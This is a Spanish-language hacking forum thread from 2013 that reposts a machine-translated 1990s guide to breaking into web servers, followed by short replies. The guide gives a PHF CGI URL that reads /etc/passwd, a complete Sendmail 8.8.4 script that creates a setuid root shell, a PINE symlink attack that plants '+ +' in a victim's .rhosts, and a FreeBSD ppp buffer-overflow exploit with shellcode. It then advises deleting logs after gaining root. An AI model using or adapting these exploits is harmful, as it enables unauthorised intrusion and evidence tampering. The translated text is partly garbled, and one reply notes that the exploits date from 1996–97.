Hack x Crack - Comunidad de Seguridad informática

Seguridad Informatica => Hacking => Mensaje iniciado por: Vanisimen en Diciembre 28, 2013, 06:12:40 pm

Título: Como hackear un sitio web (Guía)
Publicado por: Vanisimen en Diciembre 28, 2013, 06:12:40 pm
Hola chicos primeramente quisiera decirle que no me hago responsable por el uso que le den a esta información, esta es solo para que estén informados y sobre todo para cuando creen una web, sepan como cuidarla y protegerla.
Este material no es de mi autoria, fue creado por los hackers Virtual Circuit y Psychotic, el material lo encontré indagando en muchos lugares y sobre todo curioseando, desafortunadamente esta en ingles pero me di a al tarea de traducirlo lo mas minuciosamente posible con g o o g l e, aun así les dejo la versión en ingles por si alguien se anima a mejorarlo.

Las dudas preguntarlas a los expertos como jrodriguez ya que yo apenas le estoy agarrando la onda, solo me lo encontré y se me ocurrió compartir, Gracias por su comprensión.




Bueno Psychotic escribió uno de los archivos más útiles de texto de Unix en el ciberespacio, sino que
el correo que recibimos después del lanzamiento de nuestra famosa de 36 páginas de la Biblia Unix nos dimos cuenta de que Unix no es para todos, así que decidimos que debemos escribir en un
otro aspecto de la piratería ..... Circuito Virtual y Psychotic se enorgullece de presentar "
Hackear páginas web con algunas otras técnicas. "Vamos a discutir algunas diversas maneras de hackear páginas web y obtener la raíz. También vamos a entrevistar e interrogar a otros hackers REALES en los sujetos.
Obtener la contraseña a archivos mediante FTP

Ok así una de las maneras más fáciles de tener acceso de superusuario es a través del acceso ftp anónimo en una página web. Lo primero que necesita aprender un poco sobre el archivo de contraseñas.
..
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
Este es un ejemplo de un archivo de contraseña encriptado regular. El superusuario es la parte que le da raíz. Esa es la parte principal del archivo.
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
Este es otro ejemplo de un archivo de contraseñas, sólo que ésta tiene una pequeña diferencia, que es la sombra. Los archivos de contraseñas sombreadas no te dejan ver o copiar la contraseña cifrada real. Esto causa problemas para el crackeador de contraseñas y el fabricante del diccionario (ambos explicados más adelante en el texto).
  A continuación se muestra otro ejemplo de un archivo de contraseñas sombra:
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/
false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
Los archivos de contraseñas sombreadas tienen una "x" en el lugar de una contraseña o, a veces se disfrazan de un * también.
Ahora que sabes un poco más sobre lo que el archivo de la contraseña real parece que debe ser capaz de identificar una normal de cifrado PW de un archivo de sombreado PW. Ahora podemos pasar a hablar acerca de cómo descifrarlo.
Crackear un archivo de contraseñas no es tan complicado como parece, aunque los archivos varían de un sistema a otro.
1.El primer paso que usted desea tomar es descargar o copiar el archivo.
2. El segundo paso es encontrar una crackeador de contraseñas y menaje diccionario. Aunque es casi imposible encontrar un buen craqueador hay unos pocos por ahí. Recomiendo que usted use Cracker Jack, John the Ripper, Brute Force Cracker, o Jack the Ripper.
 Ahora para un  diccionario o un archivo de diccionario ...
Cuando se inicia un progresivo agrietamiento se le pedirá para encontrar el archivo de la contraseña. Ahí es donde un fabricante diccionario entra en juego Usted puede descargar uno de casi todas las páginas de hackers en la red. Un  diccionario encuentra todas las posibles combinaciones de letras con el alfabeto que usted elija (ASCII, se puede añadir también gorras, minúsculas y letras numéricas). Vamos a liberar nuestro archivo de contraseñas al público en breve, se va a llamar, Candy Psychotic, "The Perfect Drug". Por lo que sabemos que va a ser uno de los más grandes de la circulación.
3. A continuación, inicie el cracker y siga las instrucciones que se le da.




La técnica de PHF
Bueno, yo no estaba seguro de si debía incluir esta sección, por el hecho de que todo el mundo ya lo sabe y la mayoría de los servidores ya han averiguado sobre el error y lo arreglaron. Pero desde que me han hecho preguntas sobre el phf decidí incluirlo
La técnica phf es de lejos la forma más fácil de conseguir un archivo de contraseñas (aunque no funciona el 95% del tiempo). Pero para hacer la phf todo lo que hacen es abrir un navegador y escriba en el siguiente enlace:
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Reemplaza la webpage_goes_here con el dominio. Así que si estás tratando de obtener el archivo PW para www.webpage.com debería escribir:
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
y eso es todo! Usted acaba de sentarse y copiar el archivo (si funciona).




Telnet and Exploits
Bueno los exploits no solo son la mejor manera de hackear páginas web, sino que también son más complicados que la piratería a través de FTP o utilizando el phf. Antes de que usted puede configurar un exploit primero debe tener un proggie telnet, hay muchos clientes diferentes que usted puede simplemente hacer una NetSearch y encontrar todo lo que necesita.
Lo mejor es conseguir una cuenta con su objetivo (si es posible) y ver los fallos de adentro hacia afuera. Los Exploits exponen errores o fallos en los sistemas y por lo general le permiten obtener acceso de root. Hay muchos exploits diferentes alrededor y usted puede ver cada uno por separado. Voy a enumerar algunos de abajo, pero la lista de exploits es interminable.
Esta se conoce como Sendmail v.8.8.4
Se crea un programa suid "/ tmp / x" que llama a la shell como root. Esta es la forma en que lo creó:
cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);     
 }                                             
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" "
 -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
Fi
y ahora a otra exploit. Voy a mostrar el pino exploit a través de linux. Al observar la tabla de procesos con ps para ver qué usuarios están ejecutando PINO, se puede entonces hacer un ls en / tmp / para recopilar los nombres lockfile para cada usuario. Mirando la tabla de procesos, una vez más ahora revelará cuando cada usuario sale PINO o se queda sin mensajes no leídos en su bandeja de entrada, eliminando efectivamente el respectivo fichero de bloqueo.
Crear un enlace simbólico desde / tmp / .hamors_lockfile a ~ hamors / .rhosts (para un ejemplo genérico) causarán PINO to create ~ hamors / .rhosts como un archivo de 666 con identificador de proceso del PINO como su contenido. Uno puede ahora simplemente hacer un echo "+ +"> / tmp / .hamors_lockfile, entonces rm / tmp / .hamors_lockfile.

Esto fue escrito por Sean B. Hamor ... Para este ejemplo, hamors es la víctima mientras catluvr es el atacante:
amors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

Ahora en adelante a otra, ésta será la última que voy a mostrar. Script de Explotación para el vulnerbility ppp según lo descrito por nadie hasta la fecha, esto no es
FreeBSD-SA-96: 15. Funciona en FreeBSD como probado. Lío con los números si no funciona. Esta es la forma en que lo creó:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE     156     /* size of the bufer to overflow */

#define OFFSET          -290    /* number of bytes to jump after the start
                                   of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
bytes */
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
bytes */
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20
bytes */
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15
bytes, 57 total */
   
        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */

        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell;

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;

        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);
}
Ahora que usted ha conseguido root "¿qué sigue?" Bueno, la elección depende de usted, pero yo recomendaría cambiar la contraseña antes de borrar o cambiar cualquier cosa. Para cambiar su contraseña de todo lo que tienes que hacer es acceder a través de telnet y de inicio de sesión con la nueva cuenta. Entonces sólo tiene que teclear: passwd y le pedirá la contraseña antigua primero seguido por el nuevo. Ahora sólo tendrá la nueva PW y que debe durar por un tiempo ahora se puede subir ustedes páginas, borrar todos los registros y simplemente haga su worstJ psicótico escribe nuestros propios exploits y que será la liberación de ellos pronto, así que mantén los ojos abiertos para ellos. Le recomendamos que si usted es serio sobre learing piratería étnica que descargue nuestra Biblia Unix.


Bueno hasta aquí termina, si alguien quiere el archivo original, por favor pidamelo por mensaje privado, Gracias
Título: Re:Como hackear un sitio web (Guía)
Publicado por: punk en Enero 01, 2014, 09:22:28 pm
buen post,  muchas gracias :)
Título: Re:Como hackear un sitio web (Guía)
Publicado por: soldi3r en Septiembre 21, 2017, 12:25:59 am
Gran post, pero es un lil complicado de leer.
Título: Re:Como hackear un sitio web (Guía)
Publicado por: animanegra en Septiembre 21, 2017, 10:36:03 am
Lo siento pero tengo que hacer una pequeña critica porque igual la gente lo lee y se toma al pie de la letra lo que pone o pueda confundir al personal.

Igual habria que poner en contexto historico el post y llamarlo algo asi como, "como hackear un servidor en 1997". Mayormente, por ejemplo el CVE del exploit de la version que se cita de sendmail es de 1997 no ha llovido nada desde ese dia. Estaría bien que se expusiese el tono del discurso de forma que se entienda eso.
El exploit de ppp bug en el free bsd es de 1996, del mismo año que el error del phf en el cgi-bin.
Por otro lado, encontrar un ftp que tenga acceso al /etc/passwd y que además alguien se deje un password en ese archivo en lugar de mandarlo al shadow es casi como encontrar un unicornio.
Aunque ahora se encontrase un archivo con las hashes de las password, en el 99.9999% de los casos no te llevara a nada utilizar la fuerza bruta o diccionario.

Bajo mi punto de vista creo que el texto hay que re-redactarlo para ponerle un marco historico, si bien las ideas que rondan en el texto se siguen utilizando, tal y como está redactado parece que un exploit es algo mágico que te va a dar acceso a una maquina y antes hay que pasar por un proceso de identificacion de los programas de ese servidor para ver cuales tiene, que cpu , etc... para poder utiizar un error o exploit especifico (en caso de que exista) para poder entrar en la máquina.